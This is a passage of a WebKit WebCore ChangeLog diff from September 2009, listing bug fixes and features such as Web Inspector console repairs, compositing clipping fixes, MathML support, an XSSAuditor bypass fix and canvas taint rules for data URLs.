+
+        For Qt, platformPageClient() will now return a class derived from
+        the QWebPageClient, so the patch adapts our Qt hooks to go though
+        this class and not depend on the QWebView.
+
+        * WebCore.pro:
+        * platform/Widget.h:
+        * platform/qt/PlatformScreenQt.cpp:
+        (WebCore::screenDepth):
+        (WebCore::screenDepthPerComponent):
+        (WebCore::screenIsMonochrome):
+        (WebCore::screenRect):
+        (WebCore::screenAvailableRect):
+        * platform/qt/PopupMenuQt.cpp:
+        (WebCore::PopupMenu::show):
+        * platform/qt/QWebPageClient.h: Added.
+        * platform/qt/WidgetQt.cpp:
+        (WebCore::Widget::setCursor):
+        * plugins/qt/PluginViewQt.cpp:
+        (WebCore::PluginView::handleKeyboardEvent):
+        (WebCore::PluginView::getValue):
+        (WebCore::PluginView::platformStart):
+
+2009-09-21  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Evaluating on call frame always returns "undefined".
+
+        https://bugs.webkit.org/show_bug.cgi?id=29613
+
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript.evaluate):
+        (InjectedScript._evaluateAndWrap):
+        (InjectedScript._evaluateOn):
+        (InjectedScript.evaluateInCallFrame):
+
+2009-09-21  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Exception formatting is broken in console.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29608
+
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleCommandResult):
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript.evaluate):
+        (InjectedScript.createProxyObject):
+
+2009-09-21  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Console object formatting is broken.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29607
+
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleMessage.prototype._format):
+        * inspector/front-end/ObjectProxy.js:
+        (WebInspector.ObjectProxy.wrapPrimitiveValue):
+
+2009-09-21  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Crash When Logging an Element Before Opening Inspector
+
+        https://bugs.webkit.org/show_bug.cgi?id=29514
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::populateScriptObjects):
+
+2009-09-21  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Incorrect clipping with accelerated compositing content, and position:fixed
+        https://bugs.webkit.org/show_bug.cgi?id=29347
+        
+        Fix the compositing clipping logic to behave correctly when position:fixed
+        elements clip, by using the new backgroundClipRect() method to determine
+        when we need to clip, and to compute the clipping layer position.
+
+        Test: compositing/overflow/fixed-position-ancestor-clip.html
+
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::updateGraphicsLayerGeometry):
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::clippedByAncestor):
+
+2009-09-21  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Add back in a special case for window.top in the V8 bindings.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29605
+
+        Fixes LayoutTests/fast/dom/Window/window-property-shadowing.html in the Chromium port.
+
+        * bindings/scripts/CodeGeneratorV8.pm: Ensure window.top is not marked as read only, as this breaks the shadowing disabling.
+
+2009-09-21  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Brady Eidson.
+
+        HTMLMediaElement: media file should not reload when page comes out of page cache
+        https://bugs.webkit.org/show_bug.cgi?id=29604
+
+        Test: media/restore-from-page-cache.html
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::userCancelledLoad): Do nothing unless the element
+        is still loading. Only fire an 'emptied' event if the readyState is HAVE_NOTHING,
+        otherwise set the network state to NETWORK_IDLE.
+
+2009-09-21  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Geoffrey "Sean/Shawn/Shaun" Garen.
+
+        Clarify two FIXMEs.
+
+        * bindings/js/JSHTMLCollectionCustom.cpp:
+        (WebCore::getNamedItems):
+        * bindings/js/JSHTMLFormElementCustom.cpp:
+        (WebCore::JSHTMLFormElement::nameGetter):
+
+2009-09-21  Darin Fisher  <darin@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Drop down selects fail to close when a value is selected
+        https://bugs.webkit.org/show_bug.cgi?id=29582
+
+        Implement PopupListBox::hidePopup, which was previously
+        declared but unimplemented.  Removes the declaration of
+        showPopup since that method is not implemented.
+
+        PopupListBox::hidePopup takes care of hiding the popup,
+        by invoking hidePopup on its parent PopupContainer, and
+        then informs the PopupMenuClient that popupDidHide.
+        This mimics the old behavior prior to r48370.
+
+        * platform/chromium/PopupMenuChromium.cpp:
+        (WebCore::PopupListBox::handleKeyEvent):
+        (WebCore::PopupListBox::abandon):
+        (WebCore::PopupListBox::acceptIndex):
+        (WebCore::PopupListBox::hidePopup):
+
+2009-09-21  Csaba Osztrogonac  <oszi@inf.u-szeged.hu>
+
+        Rubber-stamped by Simon Hausmann.
+
+        [Qt] Windows build fix.
+        https://bugs.webkit.org/show_bug.cgi?id=29535
+
+        * platform/network/qt/DnsPrefetchHelper.cpp: Missing #include "config.h"  added.
+
+2009-09-21  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Unreviewed make dist build fix. Missing files.
+
+        * GNUmakefile.am:
+
+2009-09-20  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Maciej Stachowiak.
+
+        Crash when clicking link in unload handler
+        https://bugs.webkit.org/show_bug.cgi?id=29525
+
+        Test that the first navigation always wins when the page tries to start
+        a new navigation in an unload handler.
+
+        Tests: fast/loader/unload-form-about-blank.html
+               fast/loader/unload-form-post-about-blank.html
+               fast/loader/unload-form-post.html
+               fast/loader/unload-form.html
+               fast/loader/unload-hyperlink.html
+               fast/loader/unload-javascript-url.html
+               fast/loader/unload-reload.html
+               fast/loader/unload-window-location.html
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::loadURL):
+        (WebCore::FrameLoader::loadWithDocumentLoader):
+
+2009-09-18  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Reviewed by Xan Lopez.
+
+        [GTK] Sometimes crashes when a page is destroyed/loads another URL while playing video
+        https://bugs.webkit.org/show_bug.cgi?id=29496
+
+        Protect the video sink object, and destroy it in an idle callback
+        to hopefully avoid a race condition that leads to a crash.
+
+        This is already tested by media/video-seekable.html
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::idleUnref):
+        (WebCore::MediaPlayerPrivate::~MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::createGSTPlayBin):
+
+2009-09-19  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Unreviewed build fix for GTKand a blind one for Qt after r48566.
+
+        * GNUmakefile.am:
+        * WebCore.pro:
+
+2009-09-19  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Oliver Hunt.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=29519
+        Remove JSNameNodeCollection and just use StaticNodeList
+
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * bindings/js/JSHTMLCollectionCustom.cpp:
+        (WebCore::getNamedItems):
+        * bindings/js/JSHTMLFormElementCustom.cpp:
+        (WebCore::JSHTMLFormElement::nameGetter):
+        * bindings/js/JSNamedNodesCollection.cpp: Removed.
+        * bindings/js/JSNamedNodesCollection.h: Removed.
+
+2009-09-19  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29511
+        
+        Fixes an issue where script code that contains non-ASCII characters may bypass the 
+        XSSAuditor.
+        
+        Before performing a comparison between the script source code and input parameters, we
+        remove all non-ASCII characters, including non-printable ASCII characters from the
+        script source code and input parameters.
+
+        Tests: http/tests/security/xssAuditor/img-onerror-non-ASCII-char.html
+               http/tests/security/xssAuditor/img-onerror-non-ASCII-char-default-encoding.html
+               http/tests/security/xssAuditor/img-onerror-non-ASCII-char2-default-encoding.html
+               http/tests/security/xssAuditor/img-onerror-non-ASCII-char2.html
+
+        * page/XSSAuditor.cpp:
+        (WebCore::isNonCanonicalCharacter): Modified to remove all non-ASCII characters,
+        including non-printable ASCII characters.
+
+2009-09-19  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Incorrect animation with scale(0) transform (singular matrix)
+        https://bugs.webkit.org/show_bug.cgi?id=29465
+        
+        Make accelerated scale() and translate() animations go through the component animation
+        path (rather than just matrix animation) to avoid problems with singular scale matrices,
+        and be slightly more efficient.
+
+        Test: compositing/transitions/singular-scale-transition.html
+
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::getTransformFunctionValue):
+        (WebCore::getValueFunctionNameForTransformOperation):
+
+2009-09-19  Alex Milowski  <alex@milowski.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        Adds CSS styling and basic DOM element support for MathML
+
+        * DerivedSources.make:
+          Added user stylesheet and tag factory generation
+
+        * WebCore.xcodeproj/project.pbxproj:
+          Added new DOM element code
+
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseAttr):
+          Added check for document since stylesheet can be added before there is a document
+
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::styleForElement):
+          Added check to add MathML user agent stylesheet
+
+        * css/mathml.css: Added.
+          MathML user agent stylesheet
+
+        * dom/Document.cpp:
+        (WebCore::Document::createElement):
+          Added support for creation of MathML DOM objects
+
+        * dom/Node.h:
+        (WebCore::Node::isMathMLElement):
+          Added check method for whether the node is a MathML node
+
+        * mathml: Added.
+        * mathml/MathMLElement.cpp: Added.
+        (WebCore::MathMLElement::MathMLElement):
+        (WebCore::MathMLElement::create):
+        (WebCore::MathMLElement::createRenderer):
+        * mathml/MathMLElement.h: Added.
+        (WebCore::MathMLElement::isMathMLElement):
+          MathML DOM base class
+
+
+        * mathml/MathMLInlineContainerElement.cpp: Added.
+        (WebCore::MathMLInlineContainerElement::MathMLInlineContainerElement):
+        (WebCore::MathMLInlineContainerElement::create):
+        (WebCore::MathMLInlineContainerElement::createRenderer):
+        * mathml/MathMLInlineContainerElement.h: Added.
+          Base class for non-text containers
+
+        * mathml/MathMLMathElement.cpp: Added.
+        (WebCore::MathMLMathElement::MathMLMathElement):
+        (WebCore::MathMLMathElement::create):
+        * mathml/MathMLMathElement.h: Added.
+          Root Math element
+
+        * mathml/mathtags.in: Added.
+          Element list mappings
+
+        * page/Frame.cpp:
+        (WebCore::Frame::Frame):
+          Added MathML name initialization
+2009-09-19  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Oliver Hunt.
+
+        Canvas drawn with data URL image raises SECURITY_ERR when toDataUrl() called.
+        https://bugs.webkit.org/show_bug.cgi?id=29305
+
+        We need to special-case data URLs when tainting a canvas because we
+        treat data URLs has having no security origin, unlike other
+        browsers.  The reason we do this is to help sites avoid XSS via data
+        URLs, but that consideration doesn't apply to canvas taint.
+
+        Also, we were previously incorrectly taking document.domain state
+        into account when tainting canvas.
+
+        Tests: http/tests/security/canvas-remote-read-data-url-image.html
+               http/tests/security/canvas-remote-read-data-url-svg-image.html
+               http/tests/security/canvas-remote-read-remote-image-document-domain.html
+
+        * html/canvas/CanvasRenderingContext2D.cpp:
+        (WebCore::CanvasRenderingContext2D::checkOrigin):
+        (WebCore::CanvasRenderingContext2D::createPattern):
+        * page/SecurityOrigin.cpp:
+        (WebCore::SecurityOrigin::taintsCanvas):
+        * page/SecurityOrigin.h:
+
+2009-09-18  Simon Fraser  <simon.fraser@apple.com>
+
+        Fix stylistic issue raised in code review for previous commit.
+
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::hasNonZeroTransformOrigin):
+
+2009-09-18  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Element is misplaced during opacity transition with certain configuration of transform-origin and clipping
+        https://bugs.webkit.org/show_bug.cgi?id=29495
+        
+        If an element has zero size, but has a transform origin with absolute values,
+        then the transform origin would not be applied because it is implemented via
+        anchorPoint, which is expressed as a fraction of the layer size.
+        
+        Work around this by artificially inflating the size of the backing store when we need to.
+
+        Test: compositing/geometry/transfrom-origin-on-zero-size-layer.html
+
+        * rendering/RenderLayerBacking.h:
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::RenderLayerBacking):
+        Init m_artificiallyInflatedBounds to false.
+        
+        (WebCore::hasNonZeroTransformOrigin):
+        Utility function that describes whether the transform-origin contains non-percentage
+        x or y offsets.
+        
+        (WebCore::RenderLayerBacking::updateCompositedBounds):
+        New wrapper method around setCompositedBounds() that applies the size inflation
+        when necessary, setting the m_artificiallyInflatedBounds as appropriate.
+        
+        (WebCore::RenderLayerBacking::updateAfterLayout): Call updateCompositedBounds().
+        (WebCore::RenderLayerBacking::updateGraphicsLayerGeometry): Ditto
+        
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::rebuildCompositingLayerTree): Ditto
+        (WebCore::RenderLayerCompositor::updateCompositingDescendantGeometry): Ditto
+
+2009-09-18  Antti Koivisto  <antti@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29512
+        Don't recalculate style when restoring from the page cache
+
+        FrameLoaderClient::forceLayout() also forces style recalc. Instead call FrameView::forceLayout() 
+        directly to update the scrollbars while keeping the existing style.
+        
+        Makes back/forward really fast on complex pages (in cases where page cache works).
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::commitProvisionalLoad):
+
+2009-09-18  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        Implement ES5 Object.defineProperty function
+        https://bugs.webkit.org/show_bug.cgi?id=29503
+
+        Override defineOwnProperty on JSDOMWindowShell to forward appropriately,
+        and then override defineOwnProperty on JSDOMWindow to disallow cross origin
+        defineOwnProperty usage.  We also override defineOwnProperty on QuarantinedObjectWrapper
+        to ensure correct wrapping semantics of quarantined objects.
+
+        One major caveat in this patch is that it currently disallows the use
+        of Object.defineProperty on DOMObjects other than the window due to
+        the significant work involved in correctly propagating attributes and
+        ensuring correct semantics on dom objects.
+
+        Tests: fast/js/Object-defineProperty.html
+               http/tests/security/xss-DENIED-defineProperty.html
+
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::DOMObject::defineOwnProperty):
+        * bindings/js/JSDOMBinding.h:
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::defineGetter):
+        (WebCore::JSDOMWindow::defineSetter):
+        (WebCore::JSDOMWindow::defineOwnProperty):
+        * bindings/js/JSDOMWindowShell.cpp:
+        (WebCore::JSDOMWindowShell::defineOwnProperty):
+        (WebCore::JSDOMWindowShell::defineGetter):
+        (WebCore::JSDOMWindowShell::defineSetter):
+        * bindings/js/JSDOMWindowShell.h:
+        * bindings/js/JSLocationCustom.cpp:
+        (WebCore::JSLocation::defineGetter):
+        (WebCore::JSLocationPrototype::defineGetter):
+        * bindings/js/JSQuarantinedObjectWrapper.cpp:
+        (WebCore::JSQuarantinedObjectWrapper::getOwnPropertyDescriptor):
+        (WebCore::JSQuarantinedObjectWrapper::defineOwnProperty):
+        * bindings/js/JSQuarantinedObjectWrapper.h:
+        * bindings/scripts/CodeGeneratorJS.pm:
+
+2009-09-18  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29510
+        Active DOM objects should be suspended while a modal dialog is displayed
+
+        * manual-tests/js-timers-beneath-modal-dialog.html: Added a test for JS timers.
+
+        * page/PageGroupLoadDeferrer.cpp:
+        (WebCore::PageGroupLoadDeferrer::PageGroupLoadDeferrer):
+        (WebCore::PageGroupLoadDeferrer::~PageGroupLoadDeferrer):
+        Match other platforms, and make Mac also suspend active DOM objects. Since a page that
+        currently displays a modal dialog cannot go into page cache, there is no danger of suspending
+        an object twice.        
+
+2009-09-18  Csaba Osztrogonac  <oszi@inf.u-szeged.hu>
+
+        Reviewed by Eric Seidel.
+
+        [Qt] Buildfix caused by http://trac.webkit.org/changeset/48513
+        https://bugs.webkit.org/show_bug.cgi?id=29351
+
+        * bridge/qt/qt_instance.h: createRuntimeObject method renamed to newRuntimeObject.
+        * bridge/runtime.h: Visibility of newRuntimeObject method modified to protected.
+
+2009-09-18  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Fix parameter substitutions in console.log().
+
+        https://bugs.webkit.org/show_bug.cgi?id=29366
+
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleMessage.prototype._format):
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript.getPrototypes):
+        (InjectedScript.CallFrameProxy.prototype._wrapScopeChain):
+        * inspector/front-end/utilities.js:
+        ():
+
+2009-09-18  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Geoffrey Garen and Brady Eidson.
+
+        Temporarily remove an assertion that was getting hit when going
+        back to a page in the page cache while a banner in Safari was visible.
+        We should re-enable this once that is fixed. See <rdar://problem/7218118>
+
+        * page/FrameView.cpp:
+        (WebCore::FrameView::scheduleRelayout):
+
+2009-09-18  Anders Carlsson  <andersca@apple.com>
+
+        Try fixing the build again.
+        
+        * platform/win/PopupMenuWin.cpp:
+        (WebCore::PopupMenu::wndProc):
+
+2009-09-18  Anders Carlsson  <andersca@apple.com>
+
+        Fix windows build.
+        
+        * platform/win/PopupMenuWin.cpp:
+
+2009-09-18  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Gavin 'BearClaw' Barraclough.
+
+        Convert another callback type object to store the global object
+        instead of the frame.
+
+        * bindings/js/JSCustomXPathNSResolver.cpp:
+        (WebCore::JSCustomXPathNSResolver::create):
+        (WebCore::JSCustomXPathNSResolver::JSCustomXPathNSResolver):
+        (WebCore::JSCustomXPathNSResolver::lookupNamespaceURI):
+        * bindings/js/JSCustomXPathNSResolver.h:
+
+2009-09-18  Anders Carlsson  <andersca@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29332
+        <rdar://problem/7231652> 
+        REGRESSION (r48446): While a <select> popup menu is open, the
+        rest of the WebView doesn't respond to mouse move events.
+
+        * platform/win/PopupMenuWin.cpp:
+        (WebCore::translatePoint):
+        New helper function that translates a point between HWND coordinates.
+        
+        (WebCore::PopupMenu::show):
+        Protect the PopupMenu if someone removes the <select> in response to a mouse
+        event. Handle WM_HOST_WINDOW_MOUSEMOVE events.
+        
+        (WebCore::PopupMenu::wndProc):
+        in the WM_MOUSEMOVE handler, if the mouse is not over the popup, post a 
+        WM_HOST_WINDOW_MOUSEMOVE event so that the host window (the WebView) gets the
+        mouse move event.
+
+2009-09-18  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dave Hyatt.
+
+        Compositing layers are incorrectly positioned after scrolling with position:fixed
+        https://bugs.webkit.org/show_bug.cgi?id=29262
+        
+        When scrolling a page with compositing layers inside a position:fixed element,
+        we need to update the compositing layer positions when the scroll position changes.
+
+        Test: compositing/geometry/fixed-position.html
+
+        * WebCore.base.exp:
+        Export FrameView::scrollPositionChanged()
+        
+        * page/FrameView.h:
+        * page/FrameView.cpp:
+        (WebCore::FrameView::scrollPositionChanged):
+        New method that sends the scroll event, and updates compositing layers positions if necessary.
+
+2009-09-18  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dave Hyatt.
+
+        Transformed elements inside position:fixed container are clipped incorrectly
+        https://bugs.webkit.org/show_bug.cgi?id=29346
+        
+        Fix clipping and hit testing on transformed elements inside a position:fixed element.
+        Previously, the code used the overflowClipRect of the parent clip rects, but
+        this is not correct for fixed postion elements. Instead, share code that is
+        already present in calculateRects() to get the correct rect.
+
+        Test: fast/overflow/position-fixed-transform-clipping.html
+
+        * rendering/RenderLayer.h:
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::paintLayer):
+        (WebCore::RenderLayer::hitTestLayer):
+        Call the new backgroundClipRect() to get the correct clipRect.
+        
+        (WebCore::RenderLayer::backgroundClipRect):
+        New method, factored out of calculateRects(), that computes the clip rect,
+        doing the right thing for fixed position elements.
+        
+        (WebCore::RenderLayer::calculateRects):
+        Call the new backgroundClipRect() method.
+        
+2009-09-18  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Fix <rdar://problem/7050773> REGRESSION (r40098) Crash at
+        WebCore::RenderBlock::layoutBlock()
+        https://bugs.webkit.org/show_bug.cgi?id=29498
+
+        Test: accessibility/nested-layout-crash.html
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::updateBackingStore): Changed to
+            call Document::updateLayoutIgnorePendingStylesheets() instead of
+            calling RenderObject::layoutIfNeeded(). The latter requires that
+            there be no pending style recalc, which allows methods that call
+            Document::updateLayout() to be called during layout without risking
+            re-entry into layout.
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (-[AccessibilityObjectWrapper accessibilityActionNames]): Null-check
+            m_object after calling updateBackingStore(), since style recalc may
+            destroy the renderer, which destroys the accessibility object and
+            detaches it from the wrapper.
+        (-[AccessibilityObjectWrapper accessibilityAttributeNames]): Ditto.
+        (-[AccessibilityObjectWrapper accessibilityAttributeValue:]): Ditto.
+        (-[AccessibilityObjectWrapper accessibilityFocusedUIElement]): Ditto.
+        (-[AccessibilityObjectWrapper accessibilityHitTest:]): Ditto.
+        (-[AccessibilityObjectWrapper accessibilityIsAttributeSettable:]):
+            Ditto.
+        (-[AccessibilityObjectWrapper accessibilityIsIgnored]): Ditto.
+        (-[AccessibilityObjectWrapper accessibilityParameterizedAttributeNames]):
+             Ditto.
+        (-[AccessibilityObjectWrapper accessibilityPerformPressAction]): Ditto.
+        (-[AccessibilityObjectWrapper accessibilityPerformIncrementAction]):
+            Ditto.
+        (-[AccessibilityObjectWrapper accessibilityPerformDecrementAction]):
+            Ditto.
+        (-[AccessibilityObjectWrapper accessibilityPerformAction:]): Ditto.
+        (-[AccessibilityObjectWrapper accessibilitySetValue:forAttribute:]):
+            Ditto.
+        (-[AccessibilityObjectWrapper accessibilityAttributeValue:forParameter:]):
+            Ditto.
+        (-[AccessibilityObjectWrapper accessibilityIndexOfChild:]): Ditto.
+        (-[AccessibilityObjectWrapper accessibilityArrayAttributeCount:]):
+            Ditto.
+        (-[AccessibilityObjectWrapper accessibilityArrayAttributeValues:index:maxCount:]):
+            Ditto.
+
+2009-09-18  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Reviewed by Simon Hausmann.
+
+        Update Qt build system for Web Socket.
+        https://bugs.webkit.org/show_bug.cgi?id=29270
+
+        * WebCore.pro:
+        * platform/network/qt/SocketStreamError.h: Added.
+        * platform/network/qt/SocketStreamHandle.h: Added.
+        * platform/network/qt/SocketStreamHandleSoup.cpp: Added.
+
+2009-09-18  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Darin Adler.
+
+        NULL check HTMLMediaElement::m_playedTimeRanges.
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=29494
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::addPlayedRange): New. Create m_playedTimeRanges if
+        necessary, add range specified.
+        (WebCore::HTMLMediaElement::seek): Use addPlayedRange. 
+        (WebCore::HTMLMediaElement::played): Use addPlayedRange. Change time comparison 
+        to be more readable.
+        (WebCore::HTMLMediaElement::updatePlayState): Ditto.
+        * html/HTMLMediaElement.h:
+
+2009-09-18  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Adele Peterson.
+
+        Follow up fix for https://bugs.webkit.org/show_bug.cgi?id=29276
+        REGRESSION(r48334): WebKit crashes on file select by drag
+
+        Don't use Document.elementFromPoint since it returns null if the point
+        is outside the viewport.  Instead, just hit test ourselves.
+
+        Test: fast/events/drag-file-crash.html
+
+        * page/DragController.cpp:
+        (WebCore::elementUnderMouse):
+        (WebCore::DragController::tryDocumentDrag):
+        (WebCore::DragController::concludeEditDrag):
+
+2009-09-18  Darin Adler  <darin@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Each wrapped Objective-C object should use a single RuntimeObjectImp
+        https://bugs.webkit.org/show_bug.cgi?id=29351
+        rdar://problem/7142294
+
+        * WebCore.base.exp: Added a newly-needed exported symbol.
+
+        * bindings/objc/DOMInternal.h: Eliminated unused
+        createWrapperCacheWithIntegerKeys; it has not been needed since the
+        RGBColor wrappers were reworked.
+        * bindings/objc/DOMInternal.mm: Ditto.
+
+        * bridge/objc/objc_instance.h: Made the create function non-inline.
+        * bridge/objc/objc_instance.mm:
+        (createInstanceWrapperCache): Added. Creates an appropriate map table.
+        (ObjcInstance::create): Moved here from header. Uses NSMapGet and
+        NSMapInsert to cache the instance in a map table.
+        (ObjcInstance::~ObjcInstance): Added a call to NSMapRemove to remove
+        the instance from the map table.
+
+        * bridge/qt/qt_instance.cpp:
+        (JSC::Bindings::QtInstance::~QtInstance): Remove unneeded code to remove
+        the instance from cachedObjects, which no longer exists.
+        (JSC::Bindings::QtInstance::newRuntimeObject): Renamed to overload new
+        bottleneck. Caching is now handled by the base class.
+
+        * bridge/runtime.cpp:
+        (JSC::Bindings::Instance::Instance): Initialize m_runtimeObject to 0.
+        (JSC::Bindings::Instance::~Instance): Assert m_runtimeObject is 0.
+        (JSC::Bindings::Instance::createRuntimeObject): Use m_runtimeObject
+        if it's already set. Set m_runtimeObject and call addRuntimeObject
+        if it's not.
+        (JSC::Bindings::Instance::newRuntimeObject): Added. Virtual function,
+        used only by createRuntimeObject.
+        (JSC::Bindings::Instance::willDestroyRuntimeObject): Added.
+        Calls removeRuntimeObject and then clears m_runtimeObject.
+        (JSC::Bindings::Instance::willInvalidateRuntimeObject): Added.
+        Clears m_runtimeObject.
+
+        * bridge/runtime.h: Made createRuntimeObject non-virtual. Added
+        willDestroyRuntimeObject, willInvalidateRuntimeObject,
+        newRuntimeObject, and m_runtimeObject.
+
+        * bridge/runtime_object.cpp:
+        (JSC::RuntimeObjectImp::RuntimeObjectImp): Removed addRuntimeObject
+        call, now handled by caller.
+        (JSC::RuntimeObjectImp::~RuntimeObjectImp): Replaced removeRuntimeObject
+        call with willDestroyRuntimeObject call; the latter nows calls
+        removeRuntimeObject.
+        (JSC::RuntimeObjectImp::invalidate): Added willInvalidateRuntimeObject
+        call.
+
+        * bridge/runtime_object.h: Made invalidate non-virtual.
+
+2009-09-18  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+
+        Reviewed by Simon Hausmann.
+
+        Make PlatformWindow return something else than PlatformWidget
+        https://bugs.webkit.org/show_bug.cgi?id=29085
+
+        Make platformWindow return a PlatformPageClient
+        (for now typedef'ed to PlatformWidget)
+
+        Also, change the name of platformWindow to platformPageClient()
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (getPangoLayoutForAtk):
+        * accessibility/win/AXObjectCacheWin.cpp:
+        (WebCore::AXObjectCache::postPlatformNotification):
+        (WebCore::AXObjectCache::handleFocusedUIElementChanged):
+        * loader/EmptyClients.h:
+        (WebCore::EmptyChromeClient::platformPageClient):
+        * page/Chrome.cpp:
+        (WebCore::Chrome::platformPageClient):
+        * page/Chrome.h:
+        * page/ChromeClient.h:
+        * page/mac/EventHandlerMac.mm:
+        (WebCore::EventHandler::wheelEvent):
+        (WebCore::EventHandler::currentPlatformMouseEvent):
+        (WebCore::EventHandler::sendContextMenuEvent):
+        (WebCore::EventHandler::eventMayStartDrag):
+        * platform/HostWindow.h:
+        * platform/Widget.h:
+        * platform/gtk/PlatformScreenGtk.cpp:
+        (WebCore::getVisual):
+        (WebCore::screenRect):
+        (WebCore::screenAvailableRect):
+        * platform/gtk/PopupMenuGtk.cpp:
+        (WebCore::PopupMenu::show):
+        * platform/gtk/ScrollViewGtk.cpp:
+        (WebCore::ScrollView::platformAddChild):
+        (WebCore::ScrollView::platformRemoveChild):
+        (WebCore::ScrollView::visibleContentRect):
+        * platform/gtk/WidgetGtk.cpp:
+        (WebCore::Widget::setFocus):
+        (WebCore::Widget::setCursor):
+        * platform/qt/PlatformScreenQt.cpp:
+        (WebCore::screenDepth):
+        (WebCore::screenDepthPerComponent):
+        (WebCore::screenIsMonochrome):
+        (WebCore::screenRect):
+        (WebCore::screenAvailableRect):
+        * platform/qt/PopupMenuQt.cpp:
+        (WebCore::PopupMenu::show):
+        * platform/qt/WidgetQt.cpp:
+        (WebCore::Widget::setCursor):
+        * platform/win/PlatformScreenWin.cpp:
+        (WebCore::monitorInfoForWidget):
+        * platform/win/PopupMenuWin.cpp:
+        (WebCore::PopupMenu::show):
+        (WebCore::PopupMenu::calculatePositionAndSize):
+        (WebCore::PopupMenu::wndProc):
+        * platform/wx/RenderThemeWx.cpp:
+        (WebCore::nativeWindowForRenderObject):
+        * platform/wx/ScrollbarThemeWx.cpp:
+        (WebCore::ScrollbarThemeWx::paint):
+        * plugins/gtk/PluginViewGtk.cpp:
+        (WebCore::PluginView::getValue):
+        (WebCore::PluginView::forceRedraw):
+        (WebCore::PluginView::platformStart):
+        * plugins/mac/PluginViewMac.cpp:
+        (WebCore::PluginView::platformStart):
+        * plugins/qt/PluginViewQt.cpp:
+        (WebCore::PluginView::handleKeyboardEvent):
+        (WebCore::PluginView::getValue):
+        (WebCore::PluginView::platformStart):
+        * plugins/win/PluginViewWin.cpp:
+        (WebCore::PluginView::getValue):
+        (WebCore::PluginView::forceRedraw):
+        (WebCore::PluginView::platformStart):
+
